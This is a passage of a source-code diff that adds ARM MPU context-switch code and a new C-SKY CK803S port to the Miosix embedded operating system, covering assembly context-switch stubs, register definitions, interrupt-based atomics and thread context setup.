+ return base>=dataStart && base+size<=dataEnd && base+size>=base; +} + +bool MPUConfiguration::withinForReading(const char* str) const +{ + size_t base=reinterpret_cast(str); + size_t codeStart,codeEnd,dataStart,dataEnd; + tie(codeStart,codeEnd)=decodeMpuRegion(regValues[codeIdx],regValues[codeIdx+1]); + tie(dataStart,dataEnd)=decodeMpuRegion(regValues[dataIdx],regValues[dataIdx+1]); + if((base>=codeStart) && (base=dataStart) && (base * + ***************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/arch_registers.h" +#include "interfaces/cpu_const.h" +#include + +namespace miosix { + +#ifdef WITH_PROCESSES + +// NOTE: workaround for weird compiler bug. The r7 register is the syscall ID +// in Miosix. When compiling with O0 however, r7 is also used as frame pointer. +// And when compiling with O0, if asm code using r7 gets inlined in a too +// complex function, GCC gives up with an "error: r7 cannot be used in asm here" +// Since this function needs to do a syscall and thus must use r7, let's use the +// __OPTIMIZE__ macro to figure out if we're being compiled with O0 or not, and +// if so don't inline this function. +#ifdef __OPTIMIZE__ +inline void portableSwitchToUserspace() +{ + asm volatile("movs r7, #1\n\t" + "svc 0" + :::"r7", "cc", "memory"); +} +#endif //__OPTIMIZE__ + +namespace { +/** + * \internal + * Offset in ctxsave of the register used ad syscall ID. On ARM, we use r7, + * whose offset is 4. Note that the syscall ID should NOT be chosen to be a + * register that is saved on the stack when the context is saved, as we peek + * at that value multiple times, thus coud cause a toctou issue in syscall + * validation. + */ +constexpr unsigned int SYSCALL_ID_OFFSET_IN_CTXSAVE=4; +} + +// +// class SyscallParameters +// + +inline SyscallParameters::SyscallParameters(unsigned int *context) +{ + archPtr=context; +} + +inline unsigned int SyscallParameters::getSyscallId() const +{ + return archPtr[SYSCALL_ID_OFFSET_IN_CTXSAVE]; +} + +inline unsigned int SyscallParameters::getParameter(unsigned int index) const +{ + assert(index(archPtr[STACK_OFFSET_IN_CTXSAVE]); + return psp[index]; +} + +inline void SyscallParameters::setParameter(unsigned int index, unsigned int value) +{ + assert(index(archPtr[STACK_OFFSET_IN_CTXSAVE]); + psp[index]=value; +} + +inline unsigned int peekSyscallId(unsigned int *context) +{ + return context[SYSCALL_ID_OFFSET_IN_CTXSAVE]; +} + +namespace fault { +/** + * \internal + * Possible kind of faults that the ARM Cortex CPUs can report. + * They are used to print debug information if a process causes a fault. + * This is a regular enum enclosed in a namespace instead of an enum class + * as due to the need to loosely couple fault types for different architectures + * the arch-independent code uses int to store generic fault types. + */ +enum FaultType +{ + NONE=0, //Not a fault + STACKOVERFLOW=1, //Stack overflow + MP=2, //Process attempted data access outside its memory + MP_NOADDR=3, //Process attempted data access outside its memory (missing addr) + MP_XN=4, //Process attempted code access outside its memory + MP_STACK=5, //Process had invalid SP while entering IRQ + UF_DIVZERO=6, //Process attempted to divide by zero + UF_UNALIGNED=7, //Process attempted unaligned memory access + UF_COPROC=8, //Process attempted a coprocessor access + UF_EXCRET=9, //Process attempted an exception return + UF_EPSR=10, //Process attempted to access the EPSR + UF_UNDEF=11, //Process attempted to execute an invalid instruction + UF_UNEXP=12, //Unexpected usage fault + HARDFAULT=13, //Hardfault (for example process executed a BKPT instruction) + BF=14, //Busfault + BF_NOADDR=15 //Busfault (missing addr) +}; + +} //namespace fault + +// +// class MPUConfiguration +// + +inline void MPUConfiguration::IRQenable() +{ + #if __MPU_PRESENT==1 + + #if __CORTEX_M == 33 + // ARMv8-M + // We have to write 20 registers during a context switch, that's the price + // to pay for ARM's stupid design decision to no longer allow MPU regions + // to overlap. + + // We disable the MPU while writing to MPU registers as given the various + // juggling of MPU regions there could be transient region overlaps between + // previous and the next memory map that happen to span across the memory + // we're accessing while running this very same code (kernel code and the + // regValues variable in the kernel data). If there is, we'd get a memory + // fault in the scheduler followed by a reboot. + // TODO: if there a register write order that guarantees that no such + // transient overlaps exist, we could leave the MPU on, figure this out... + MPU->CTRL = 0; + + MPU->RNR = 0; + MPU->RBAR=regValues[0]; + MPU->RLAR=regValues[1]; + MPU->RNR = 1; + MPU->RBAR=regValues[2]; + MPU->RLAR=regValues[3]; + MPU->RNR = 2; + MPU->RBAR=regValues[4]; + MPU->RLAR=regValues[5]; + MPU->RNR = 3; + MPU->RBAR=regValues[6]; + MPU->RLAR=regValues[7]; + MPU->RNR = 4; + MPU->RBAR=regValues[8]; + MPU->RLAR=regValues[9]; + MPU->RNR = 5; + MPU->RBAR=regValues[10]; + MPU->RLAR=regValues[11]; + + MPU->CTRL = MPU_CTRL_HFNMIENA_Msk + | MPU_CTRL_PRIVDEFENA_Msk + | MPU_CTRL_ENABLE_Msk; + #else + // ARMv7-M + // MPU regions can overlap, overlay two regions on top of kernel memory layout + MPU->RBAR=regValues[0]; + MPU->RASR=regValues[1]; + MPU->RBAR=regValues[2]; + MPU->RASR=regValues[3]; + #endif + + // Set bit 0 of CONTROL register to switch thread mode to unprivileged. When + // we'll return from the interrupt the MPU will check the access permissions + // for unprivileged processes which only allow access to regions 6 and 7 + __set_CONTROL(3); + #endif //__MPU_PRESENT==1 +} + +inline void MPUConfiguration::IRQdisable() +{ + #if __MPU_PRESENT==1 + + #if __CORTEX_M == 33 + // ARMv8-M + // Restore the kernel memory layout. We have to write 14 registers during + // a context switch, that's the price to pay for ARM's stupid design + // decision to no longer allow MPU regions to overlap + // We write regions in reverse order as it's an easy way to make sure no + // transient region overlap exist that happen to span across the memory + // we're accessing while running this very same code (kernel code and the + // kernelspaceMpuConfiguration variable in the kernel data). + MPU->RNR = 5; + MPU->RLAR= 0; //EN=0, disable region + MPU->RNR = 4; + MPU->RLAR= 0; //EN=0, disable region + MPU->RNR = 3; + MPU->RLAR= 0; //EN=0, disable region + MPU->RNR = 2; + MPU->RLAR= 0; //EN=0, disable region + MPU->RNR = 1; + MPU->RBAR=kernelspaceMpuConfiguration[2]; + MPU->RLAR=kernelspaceMpuConfiguration[3]; + MPU->RNR = 0; + MPU->RBAR=kernelspaceMpuConfiguration[0]; + MPU->RLAR=kernelspaceMpuConfiguration[1]; + #else + // ARMv7-M + // Region 6 (process code) is disabled as it's marked executable + // Region 7 can remain enabled as from the point of view of the kernel is + // configured in an indistinguishable way from the rest of the RAM + MPU->RNR = 6; + MPU->RASR= 0; + #endif + + // Clear bit 0 of CONTROL register to switch thread mode to privileged. When + // we'll return from the interrupt the MPU will check the access permissions + // for privileged processes which includes the default memory map as we set + // MPU_CTRL_PRIVDEFENA at boot plus additional regions to set constraints + // such as cacheability. Thus we never truly disable the MPU. + __set_CONTROL(2); + #endif //__MPU_PRESENT==1 +} + +#endif //WITH_PROCESSES + +} //namespace miosix diff --git a/miosix/arch/cpu/cskyv2/cskyv2_context.S b/miosix/arch/cpu/cskyv2/cskyv2_context.S new file mode 100644 index 000000000..01d08aabd --- /dev/null +++ b/miosix/arch/cpu/cskyv2/cskyv2_context.S @@ -0,0 +1,218 @@ +/*************************************************************************** + * CK803S (C-SKY V2) context-switch entry stubs for modern Miosix. * + * GPL v2+ with the Miosix linking exception. * + * * + * Two naked VBR entry points, both following the standard C-SKY * + * stm/ldm + rte template and the modern PendSV contract shape * + * "save full context -> bl C body -> restore context -> exception-return":* + * * + * yield_isr_entry -> VBR[16] (trap #0) cooperative-yield path * + * generic_irq_entry -> VBR[32..95] every PIC source incl. the OS tick * + * (the preemptive path; csky_isr_dispatch routes * + * to the registered handler then reschedules) * + * * + * ===================== CONTEXT-SWITCH FRAME ===================== * + * CK803S HW auto-saves ONLY PC->EPC(cr4) and PSR->EPSR(cr2) on entry and * + * clears PSR.IE; it pushes NOTHING to the stack. So these stubs manually * + * push the FULL register set the kernel must preserve across an * + * arbitrary-point preemption, on the *interrupted thread's* own stack, * + * full-descending. ck803 implements only the 16-register C-SKY V2 base * + * file (r0-r15) — VERIFIED: gcc -mcpu=ck803 never allocates above r15, * + * and the HW-proven irq_test.S timer ISR saves exactly r0-r13+r15. So * + * the complete frame is: * + * * + * offset content (from post-push SP, low->high address) * + * ------ ------- * + * +0x00 r0 (a0) volatile, also threadLauncher arg0 * + * +0x04 r1 (a1) volatile, also threadLauncher arg1 * + * +0x08 r2 (a2) * + * +0x0c r3 (a3) * + * +0x10 r4 (l0) callee-saved * + * +0x14 r5 (l1) callee-saved * + * +0x18 r6 (l2) callee-saved * + * +0x1c r7 (l3) callee-saved * + * +0x20 r8 (l4) callee-saved * + * +0x24 r9 (l5) callee-saved * + * +0x28 r10 (l6) callee-saved * + * +0x2c r11 (l7) callee-saved * + * +0x30 r12 (t0) volatile * + * +0x34 r13 (t1) volatile * + * +0x38 r15 (lr) return address of interrupted code * + * +0x3c EPC HW-saved resume PC (cr<4,0>) * + * +0x40 EPSR HW-saved resume PSR (cr<2,0>) * + * +0x44 (pad) keep frame 8-byte aligned (C-SKY V2 ABI) * + * ------ total = 0x48 = 72 bytes = CTXSAVE_ON_STACK (cpu_const_impl.h) * + * * + * sp(r14) is NOT in the frame — it is the frame pointer itself, published* + * to ctxsave[0]. ck803 has no GBR/r28. Carrying EPC/EPSR IN the frame * + * (not relying on the live cr4/cr2 surviving the C body) makes resume * + * UNIFORM between an already-running thread and a brand-new one: * + * initKernelThreadCtxsave (cpu.cpp) lays down an identical frame with * + * r0=arg0, r1=arg1, EPC=threadLauncher, EPSR=IE-set, so the first rte * + * jumps straight into the launcher with interrupts enabled and the args * + * already in r0/r1. * + * ================================================================ * + * * + * ctxsave is "volatile unsigned int *ctxsave[CPU_NUM_CORES]" (cpu.h). * + * Single core: ctxsave[0] -> the running thread's CTXSAVE_SIZE-word * + * buffer, whose word[0] (STACK_OFFSET_IN_CTXSAVE=0) holds the thread SP. * + ***************************************************************************/ + + .equ FRAME_SIZE, 0x48 /* 72 bytes, == CTXSAVE_ON_STACK */ + .equ OFF_R15, 0x38 + .equ OFF_EPC, 0x3c + .equ OFF_EPSR, 0x40 + + .text + .align 2 + +/* -------------------------------------------------------------------- * + * CTX_SAVE: push the full frame onto the current (thread) SP, snapshot * + * EPC/EPSR into it, then publish SP into ctxsave[0]. * + * -------------------------------------------------------------------- */ + .macro CTX_SAVE + subi sp, sp, FRAME_SIZE + stm r0-r13, (sp) /* r0..r13 -> +0x00..+0x34 */ + st.w r15, (sp, OFF_R15) /* LR of interrupted code */ + mfcr r0, cr<4, 0> /* EPC = HW-saved resume PC */ + st.w r0, (sp, OFF_EPC) + mfcr r0, cr<2, 0> /* EPSR = HW-saved resume PSR */ + st.w r0, (sp, OFF_EPSR) + lrw r0, ctxsave /* r0 = &ctxsave[0] (the pointer slot) */ + ld.w r0, (r0, 0) /* r0 = ctxsave[0] (-> thread buffer) */ + st.w sp, (r0, 0) /* thread buffer[0] = thread SP */ + sync /* barrier == ARM dmb */ + .endm + +/* -------------------------------------------------------------------- * + * CTX_RESTORE: reload SP from ctxsave[0] (the scheduler may have * + * repointed ctxsave at a DIFFERENT thread), write EPC/EPSR back, pop * + * the frame and rte (PC<-EPC, PSR<-EPSR, re-enabling IE). * + * -------------------------------------------------------------------- */ + .macro CTX_RESTORE + lrw r0, ctxsave + ld.w r0, (r0, 0) /* r0 = ctxsave[0] (chosen thread buffer) */ + ld.w sp, (r0, 0) /* SP = chosen thread's saved SP */ + ld.w r0, (sp, OFF_EPSR) + mtcr r0, cr<2, 0> /* EPSR <- resume PSR */ + ld.w r0, (sp, OFF_EPC) + mtcr r0, cr<4, 0> /* EPC <- resume PC (launcher for new thr) */ + ld.w r15, (sp, OFF_R15) + ldm r0-r13, (sp) /* restore r0..r13 (r0/r1 = args for new thr) */ + addi sp, sp, FRAME_SIZE + rte /* PC<-EPC, PSR<-EPSR; re-enables IE */ + .endm + +/* ============ first switch (à la uC/OS OSStartHighRdy) ============= * + * Directly restore the first thread's context and rte into it, WITHOUT a * + * trap. The scheduler has already pointed ctxsave[0] at the first thread. * + * CTX_RESTORE loads its SP, writes the frame's EPC(launcher)/EPSR(IE+EE) and * + * rte's into the thread. Never returns. (Avoids depending on the trap * + * vector, which differs from our assumed 16.) */ + .globl csky_first_switch + .type csky_first_switch, @function +csky_first_switch: + CTX_RESTORE + .size csky_first_switch, .-csky_first_switch + +/* =========== cooperative switch from THREAD context =============== * + * Mirrors RT-Thread rt_hw_context_switch: synchronously save the current * + * thread (resume PC = the .Lyield_resume trampoline, PSR = live psr), CLEAR * + * IE, run the scheduler + repoint ctxsave with IRQs OFF, then restore the next * + * thread and rte into it (rte restores the saved EPSR, re-enabling IE). Called * + * by IRQinvokeScheduler() when interrupts are enabled (thread context). No * + * trap/PendSV needed — rte transfers control directly (given the reset-time * + * PSR setup in Reset_Handler). The psrclr ie below is REQUIRED, not optional. */ + .globl csky_yield_switch + .type csky_yield_switch, @function +csky_yield_switch: + subi sp, sp, FRAME_SIZE + stm r0-r13, (sp) + st.w r15, (sp, OFF_R15) /* real return address of the caller */ + mfcr r0, psr + st.w r0, (sp, OFF_EPSR) /* resume with the live PSR (IE=1 here, so + the rte below re-enables IRQs on resume) */ + psrclr ie /* CRITICAL: run the scheduler + ctxsave + repoint with IRQs OFF. IRQ-prefixed kernel + fns require the global lock held, which on + this single-core build == IE off (FastGlobal + LockFromIrq is a no-op). Without this, a + WAKE/timer IRQ landing mid-IRQrunScheduler + re-enters the scheduler on the same ready- + lists -> corruption (the fast-keypress hang). + Matches RT-Thread rt_hw_context_switch. */ + lrw r0, .Lyield_resume + st.w r0, (sp, OFF_EPC) /* resume PC -> trampoline that rts back */ + lrw r0, ctxsave + ld.w r0, (r0, 0) + st.w sp, (r0, 0) /* publish current SP into ctxsave[0] */ + sync + jbsr csky_isr_yield /* Scheduler::IRQrunScheduler() (repoints) */ + lrw r0, ctxsave + ld.w r0, (r0, 0) + ld.w sp, (r0, 0) /* SP = next thread */ + ld.w r0, (sp, OFF_EPSR) + mtcr r0, cr<2, 0> + ld.w r0, (sp, OFF_EPC) + mtcr r0, cr<4, 0> + ld.w r15, (sp, OFF_R15) + ldm r0-r13, (sp) + addi sp, sp, FRAME_SIZE + rte +.Lyield_resume: + rts /* resumed: return to IRQinvokeScheduler */ + .size csky_yield_switch, .-csky_yield_switch + +/* ==================== trap #0 = cooperative YIELD ================== */ + .globl yield_isr_entry + .type yield_isr_entry, @function +yield_isr_entry: + CTX_SAVE + jbsr csky_isr_yield /* extern "C" -> Scheduler::IRQrunScheduler() */ + CTX_RESTORE + .size yield_isr_entry, .-yield_isr_entry + +/* ============ all PIC sources = peripheral IRQ + OS TICK ========== * + * Every PIC vector (32..95) lands here. csky_isr_dispatch services the * + * fired source(s) via the registered handler — including the OS tick, * + * which the chip layer registers like any other source — then * + * reschedules iff a handler called IRQinvokeScheduler (which sets the * + * pending flag while IE is off). This is the deferred-PendSV behaviour: * + * the switch is taken here, at the enclosing IRQ's CTX_RESTORE. */ + .globl generic_irq_entry + .type generic_irq_entry, @function +generic_irq_entry: + CTX_SAVE + jbsr csky_isr_dispatch /* extern "C" -> PIC dispatch + maybe sched */ + CTX_RESTORE + .size generic_irq_entry, .-generic_irq_entry + +/* ==================== CPU fault / unexpected-vector entry ============== * + * Installed on every vector except the yield trap (16) and the PIC range * + * (32..95) by IRQinitIrqTable, i.e. all CK803S CPU-exception vectors * + * (misaligned access, access error, illegal instruction, privilege, div0, * + * trap1..3) plus any stray high vector. A fault does NOT resume, so this is * + * a one-way street: snapshot the full register file + EPC/EPSR onto the * + * faulting stack (same 72-byte frame as CTX_SAVE, but NOT published to * + * ctxsave -- we must not clobber the running thread's saved SP), then hand * + * a pointer to that frame + the live PSR (its VEC field names the fault, * + * raw for now) to the C reporter, which prints via the board debug UART and * + * halts. r0..r13 are stored FIRST, before any register is clobbered, so the * + * dump reflects the exact machine state at the faulting instruction. The * + * single most useful field is EPC: disassemble the image there to see * + * precisely which instruction trapped. */ + .globl fault_entry + .type fault_entry, @function +fault_entry: + subi sp, sp, FRAME_SIZE + stm r0-r13, (sp) /* faulting r0..r13 (r0 not yet clobbered) */ + st.w r15, (sp, OFF_R15) /* faulting LR */ + mfcr r0, cr<4, 0> /* EPC = faulting PC */ + st.w r0, (sp, OFF_EPC) + mfcr r0, cr<2, 0> /* EPSR = faulting PSR */ + st.w r0, (sp, OFF_EPSR) + mov r0, sp /* arg0 = &frame */ + mfcr r1, psr /* arg1 = live PSR (current fault's VEC field) */ + jbsr csky_fault_handler /* extern "C", never returns */ +1: br 1b /* belt-and-suspenders: never fall through */ + .size fault_entry, .-fault_entry diff --git a/miosix/arch/cpu/cskyv2/interfaces-impl/arch_registers_impl.h b/miosix/arch/cpu/cskyv2/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..978db203d --- /dev/null +++ b/miosix/arch/cpu/cskyv2/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,61 @@ +/*************************************************************************** + * CK803S (C-SKY V2) / HR_C7000 register definitions for modern Miosix. * + * Named MMIO + control-register accessors (no magic numbers). Addresses * + * verified on real HR_C7000 silicon. Register/bit names and reset defaults * + * transcribed from the HR_C7000 user guide. * + * GPL v2+ with the Miosix linking exception. * + ***************************************************************************/ + +#pragma once + +#include + +/* ---- DW_apb_timers @ 0x14000000, channel stride 0x14 -------------------- + * ch0/Timer1 = free-running getTick/delay timebase. ch1/Timer2 = OS tick. */ +#define HRC7000_TIMER_BASE 0x14000000u +#define HRC7000_TMR(ch,off) (*(volatile uint32_t*)(HRC7000_TIMER_BASE+(ch)*0x14u+(off))) +#define HRC7000_T1_LOAD HRC7000_TMR(0u,0x00u) +#define HRC7000_T1_CURVAL HRC7000_TMR(0u,0x04u) +#define HRC7000_T1_CTRL HRC7000_TMR(0u,0x08u) +#define HRC7000_T2_LOAD HRC7000_TMR(1u,0x00u) +#define HRC7000_T2_CURVAL HRC7000_TMR(1u,0x04u) +#define HRC7000_T2_CTRL HRC7000_TMR(1u,0x08u) /* b0 en, b1 reload, b2 imask */ +#define HRC7000_T2_EOI HRC7000_TMR(1u,0x0cu) /* READ clears Timer2 IRQ */ +#define HRC7000_TIMER_HZ 42000000u /* measured on silicon */ + +/* ---- PIC interrupt controller @ 0x17000000 ------------------------------ */ +#define HRC7000_PIC_BASE 0x17000000u +#define HRC7000_PIC_MODE (*(volatile uint32_t*)(HRC7000_PIC_BASE+0x00u)) +#define HRC7000_PIC_PO (*(volatile uint32_t*)(HRC7000_PIC_BASE+0x04u)) +#define HRC7000_PIC_MASK (*(volatile uint32_t*)(HRC7000_PIC_BASE+0x08u)) /* bit=0 ENABLES */ +#define HRC7000_PIC_COW1 (*(volatile uint32_t*)(HRC7000_PIC_BASE+0x10u)) /* int-end: write */ +#define HRC7000_PIC_COW1_EOI 0x4u /* bit2 = eoi */ +#define HRC7000_PIC_INT_ST (*(volatile uint32_t*)(HRC7000_PIC_BASE+0x44u)) +#define HRC7000_PIC_INT_ST1 (*(volatile uint32_t*)(HRC7000_PIC_BASE+0x48u)) +#define HRC7000_PIC_MODE1 (*(volatile uint32_t*)(HRC7000_PIC_BASE+0x60u)) +#define HRC7000_PIC_PO1 (*(volatile uint32_t*)(HRC7000_PIC_BASE+0x64u)) +#define HRC7000_PIC_MASK1 (*(volatile uint32_t*)(HRC7000_PIC_BASE+0x68u)) /* srcs 32-63 */ + +/* PIC autovector base: VEC for source x = x + HRC7000_PIC_VECTOR0 (PIC_VECTOR=0x0c, + * reset default 0x20). So PIC sources occupy VBR vectors 32..95. */ +#define HRC7000_PIC_VECTOR0 32u +#define CK803S_VBR_NVEC 128u /* CK803S vector space 0..127 (PIC valid 32..112) */ + +/* Timer2 = PIC source 2 -> autovector 32+2 = 34. trap0 -> CPU-exc vector 16. */ +#define HRC7000_TIMER2_SRC 2u +#define HRC7000_TIMER2_VEC 34u +#define CK803S_YIELD_VEC 16u /* VBR[16] = trap0 (scheduler-invoke) handler */ + +/* PSR bit positions (standard CK803S; verify on silicon). */ +#define CK803S_PSR_IE_BIT 6u +#define CK803S_PSR_EE_BIT 8u + +/* BOOTROM reset entry: jump to 0x4, not 0x03000000. */ +#define HRC7000_BOOTROM_RESET 0x00000004u + +static inline unsigned int csky_get_psr(void) +{ unsigned int v; asm volatile("mfcr %0, psr":"=r"(v)); return v; } +static inline void csky_set_psr(unsigned int v) +{ asm volatile("mtcr %0, psr"::"r"(v)); } +static inline void csky_set_vbr(const void *table) +{ asm volatile("mtcr %0, cr<1, 0>"::"r"(table)); } /* VBR = cr<1,0> */ diff --git a/miosix/arch/cpu/cskyv2/interfaces-impl/atomic_ops_impl.h b/miosix/arch/cpu/cskyv2/interfaces-impl/atomic_ops_impl.h new file mode 100644 index 000000000..fbd274a3f --- /dev/null +++ b/miosix/arch/cpu/cskyv2/interfaces-impl/atomic_ops_impl.h @@ -0,0 +1,80 @@ +/*************************************************************************** + * CK803S (C-SKY V2) atomic ops for modern Miosix. * + * CK803S exposes no LL/SC here, so atomics disable interrupts briefly * + * (same approach as the armv6m port). GPL v2+ + Miosix linking exception.* + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" +#include "interfaces/interrupts.h" + +namespace miosix { + +class AtomicsLock +{ +public: + AtomicsLock() + { + oldInterruptsEnabled=areInterruptsEnabled(); + fastDisableIrq(); + } + + ~AtomicsLock() + { + if(oldInterruptsEnabled) fastEnableIrq(); + } + +private: + bool oldInterruptsEnabled; + + AtomicsLock(const AtomicsLock&); + AtomicsLock& operator= (const AtomicsLock&); +}; + +inline int atomicSwap(volatile int *p, int v) +{ + int result; + { AtomicsLock lock; result = *p; *p = v; } + asm volatile("":::"memory"); + return result; +} + +inline void atomicAdd(volatile int *p, int incr) +{ + { AtomicsLock lock; *p += incr; } + asm volatile("":::"memory"); +} + +inline int atomicAddExchange(volatile int *p, int incr) +{ + int result; + { AtomicsLock lock; result = *p; *p += incr; } + asm volatile("":::"memory"); + return result; +} + +inline int atomicCompareAndSwap(volatile int *p, int prev, int next) +{ + int result; + { AtomicsLock lock; result = *p; if(*p == prev) *p = next; } + asm volatile("":::"memory"); + return result; +} + +inline void *atomicFetchAndIncrement(void * const volatile * p, int offset, + int incr) +{ + void *result; + { + AtomicsLock lock; + result = const_cast(*p); + if(result == 0) return 0; + volatile uint32_t *pt = reinterpret_cast(result) + offset; + *pt += incr; + } + asm volatile("":::"memory"); + return result; +} + +} //namespace miosix diff --git a/miosix/arch/cpu/cskyv2/interfaces-impl/cpu.cpp b/miosix/arch/cpu/cskyv2/interfaces-impl/cpu.cpp new file mode 100644 index 000000000..48e074e50 --- /dev/null +++ b/miosix/arch/cpu/cskyv2/interfaces-impl/cpu.cpp @@ -0,0 +1,95 @@ +/*************************************************************************** + * CK803S (C-SKY V2) cpu.cpp for modern Miosix. * + * GPL v2+ with the Miosix linking exception (see armv6m cpu.cpp). * + * * + * New-thread context seeding + the architecture-specific kernel start. * + * The frame laid down here MUST match cskyv2_context.S's CTX_SAVE/RESTORE * + * (72 bytes: r0-r13, r15, EPC, EPSR, pad) and CTXSAVE_ON_STACK. * + ***************************************************************************/ + +#include "interfaces_private/cpu.h" +#include "interfaces/arch_registers.h" +#include "interfaces/interrupts.h" // fastEnableIrq() +#include "kernel/scheduler/scheduler.h" + +//Direct first-thread restore (cskyv2_context.S): loads ctxsave[0]'s frame and +//rte's into it. Never returns. +extern "C" void csky_first_switch(); + +namespace miosix { + +void initKernelThreadCtxsave(unsigned int *ctxsave, void (*pc)(void *(*)(void*),void*), + unsigned int *sp, unsigned int *spLimit, + void *(*arg0)(void*), void *arg1) noexcept +{ + (void)spLimit; //hardware stack-overflow detection is an MPU job; the + //HR_C7000 has no MPU, so it is not enforced here. + + //Stack is full descending: the frame occupies the CTXSAVE_ON_STACK bytes + //just below the given top-of-stack. Word indices == byte offset / 4, and + //MUST match cskyv2_context.S exactly. + unsigned int *frame=sp-(CTXSAVE_ON_STACK/4); //18 words below the top + + frame[0]=reinterpret_cast(arg0); // r0 (+0x00) launcher arg0 + frame[1]=reinterpret_cast(arg1); // r1 (+0x04) launcher arg1 + frame[2]=0; // r2 (+0x08) + frame[3]=0; // r3 (+0x0c) + frame[4]=0; // r4 (+0x10) + frame[5]=0; // r5 (+0x14) + frame[6]=0; // r6 (+0x18) + frame[7]=0; // r7 (+0x1c) + frame[8]=0; // r8 (+0x20) + frame[9]=0; // r9 (+0x24) + frame[10]=0; // r10 (+0x28) + frame[11]=0; // r11 (+0x2c) + frame[12]=0; // r12 (+0x30) + frame[13]=0; // r13 (+0x34) + frame[14]=0xffffffff; // r15 (+0x38) lr sentinel + frame[15]=reinterpret_cast(pc); // EPC (+0x3c) -> threadLauncher + //EPSR (+0x40): the exact thread PSR RT-Thread's ck803 port uses (verified on + //this core): 0x80000140 = S(bit31, SUPERVISOR) | EE(bit8) | IE(bit6). The + //SUPERVISOR bit is essential — without it the thread runs in user mode and + //its first privileged/MMIO access faults. (Was csky_get_psr()|IE|EE, which + //could drop bit31 and leave the thread in user mode.) + frame[16]=(1u<<31)|(1u<(frame); //ctxsave[0]=SP +} + +void IRQportableStartKernel() noexcept +{ + //Throwaway ctxsave so the scheduler has a valid current-thread pointer. + static unsigned int s_ctxsave[CTXSAVE_SIZE]; + ctxsave[getCurrentCoreId()]=s_ctxsave; + + //First switch the uC/OS OSStartHighRdy way: directly restore the first + //thread, NOT via a trap. trap 0 does not vector to our handler on this core + //(vector != our assumed 16; VBR is correctly installed). So: + // 1. run the scheduler to point ctxsave[0] at the highest-priority thread, + // 2. csky_first_switch() (asm) loads that thread's SP + frame (EPC=launcher, + // EPSR=IE+EE) and rte's into it — interrupts get enabled by that rte. + Scheduler::IRQrunScheduler(); //select first thread (repoints ctxsave[0]) + csky_first_switch(); //restore its frame + rte into it (now works, + //given the reset-time PSR setup) + //Never reaches here +} + +/** + * \internal + * Idle-thread CPU sleep (interfaces_private/sleep.h): stop the CPU clock until + * an interrupt arrives. The C-SKY `wait` instruction is the WFI equivalent — it + * halts the core but leaves peripherals (incl. the os-timer) running, and exits + * on a pending interrupt regardless of PSR.IE. That matches the sleepCpu() + * contract (callable with interrupts enabled or disabled): the idle thread + * calls this with IRQs disabled under the global lock, `wait` exits the instant + * the wakeup/preemption timer IRQ is asserted, and that IRQ is serviced when the + * lock releases and IRQs re-enable. Same bare-instruction idiom as the Cortex-M + * port's __WFI() and Linux arch/csky arch_cpu_idle(). + */ +void sleepCpu() +{ + asm volatile("wait":::"memory"); +} + +} //namespace miosix diff --git a/miosix/arch/cpu/cskyv2/interfaces-impl/cpu_const_impl.h b/miosix/arch/cpu/cskyv2/interfaces-impl/cpu_const_impl.h new file mode 100644 index 000000000..efb68f6d7 --- /dev/null +++ b/miosix/arch/cpu/cskyv2/interfaces-impl/cpu_const_impl.h @@ -0,0 +1,49 @@ +/*************************************************************************** + * CK803S (C-SKY V2) CPU constants for modern Miosix. * + * GPL v2+ with the Miosix linking exception (see armv6m cpu_const_impl.h)* + ***************************************************************************/ + +#pragma once + +namespace miosix { + +/** + * \addtogroup Interfaces + * \{ + */ + +/// \internal Size in words of the per-thread ctxsave[] array. +/// CK803S has NO hardware register auto-stacking on exception entry (the core +/// saves only PC->EPC and PSR->EPSR), so — unlike armv6m which splits context +/// between ctxsave (sp+r4-r11) and a HW-pushed stack frame — our port pushes +/// the FULL register frame onto the interrupted thread's own stack and stores +/// only the thread SP in ctxsave[0]. ctxsave[1] reserved (keeps the array +/// 8-byte sized). +const unsigned char CTXSAVE_SIZE=2; + +/// \internal Bytes the context save pushes onto the thread's own stack. +/// = the full CK803S interrupt frame built by the cskyv2_vectors.S CTX_SAVE +/// macro, 8-byte aligned. MUST equal FRAME_SIZE in the entry asm and the word +/// layout in initKernelThreadCtxsave (cpu.cpp). Divisible by 4. +/// +/// CK803 implements only the 16-register C-SKY V2 base file (r0-r15) — VERIFIED: +/// `csky-miosix-elf-gcc -mcpu=ck803 -O2`, even forced to spill 24 volatiles, +/// never allocates above r15 (push l0/lr, temps t0/t1, sp=r14, lr=r15). The +/// hardware-proven timer ISR likewise saves only r0-r13+r15. +/// So the FULL preserved set across an arbitrary-point preemption is: +/// r0-r13 (stm, 14 words) + r15/lr (1) + EPC (1) + EPSR (1) = 17 words = 68B, +/// padded to 72 (8-byte ABI stack alignment). sp(r14) is NOT in the frame — it +/// is the frame pointer itself, published to ctxsave[0]. ck803 has no GBR/r28. +const unsigned int CTXSAVE_ON_STACK=72; // 18 words: r0-r13, r15, EPC, EPSR, pad + +/// \internal Stack alignment required by the C-SKY V2 ABI. +const unsigned int CTXSAVE_STACK_ALIGNMENT=8; + +/// \internal Offset in words to retrieve the thread stack pointer in ctxsave. +const unsigned int STACK_OFFSET_IN_CTXSAVE=0; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/arch/cpu/cskyv2/interfaces-impl/cpu_impl.h b/miosix/arch/cpu/cskyv2/interfaces-impl/cpu_impl.h new file mode 100644 index 000000000..bc746e95b --- /dev/null +++ b/miosix/arch/cpu/cskyv2/interfaces-impl/cpu_impl.h @@ -0,0 +1,85 @@ +/*************************************************************************** + * CK803S (C-SKY V2) cpu_impl.h for modern Miosix. * + * GPL v2+ with the Miosix linking exception (see armv6m cpu_impl.h). * + * * + * Unlike the Cortex-M ports, the CK803S context switch is implemented in * + * hand-written assembly entry stubs (cskyv2_context.S), NOT via * + * saveContext()/restoreContext() C macros: CK803S has no HW register * + * auto-stacking, so the full-frame push/pop is cleaner kept whole in one * + * .S file. The interfaces_private/cpu.h contract only *requires* those * + * macros for the arch's own naked handler, which here lives in the .S — * + * so they are intentionally not provided. The kernel core never * + * references them. * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" +#include "interfaces/interrupts.h" // areInterruptsEnabled() + +namespace miosix { + +/** + * \internal + * Pending-scheduler flag, the CK803S substitute for the Cortex-M PendSV-set + * bit. Set by IRQinvokeScheduler() when it cannot synchronously trap (i.e. it + * is called with interrupts disabled — 